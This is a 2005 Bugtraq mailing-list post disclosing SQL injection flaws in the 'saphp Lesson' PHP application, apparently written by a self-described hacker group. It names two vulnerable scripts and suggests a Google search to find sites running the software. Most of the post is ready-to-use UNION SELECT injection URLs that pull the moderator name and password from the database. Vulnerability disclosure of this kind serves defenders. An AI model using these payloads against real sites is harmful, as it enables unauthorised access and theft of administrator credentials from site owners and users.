[40861] in bugtraq
SQL saphp Lesson
daemon@ATHENA.MIT.EDU (almaster@hotmail.com)
Mon Oct 24 17:33:10 2005
Date: 24 Oct 2005 15:52:29 -0000
Message-ID: <20051024155229.16057.qmail@securityfocus.com>
Content-Type: text/plain
Content-Disposition: inline
Content-Transfer-Encoding: binary
MIME-Version: 1.0
From: almaster@hotmail.com
To: bugtraq@securityfocus.com
saphp Lesson ..
Search By Google :-
saphp Lesson
Gr33tz :-
aLMaSTeR HaCKeR .. SQL Injection's FOunder - | almaster (at) hotmail (dot) com [email concealed]|-
Devil-00 .. SQL Injection's Exploting - | devil-00@s4a.cc | -
Security4Arab .. A'Where Home ..
1- SQL Injection in showcat.php
http://www.site.com/dros/showcat.php?forumid=|almaster
2-SQL Injection in add.php
http://www.site.com/dros/add.php?forumid=|almaster
Exp:
- Get Username By This Injection :
dros/showcat.php?forumid=-1%20UNION%20SELECT%20ModName%20FROM%20modretor
2- Get Password By This Injection :
dros/showcat.php?forumid=-1%20UNION%20SELECT%20ModPassword%20FROM%20modretor
aLMaSTeR [at] hotmail [dot] com
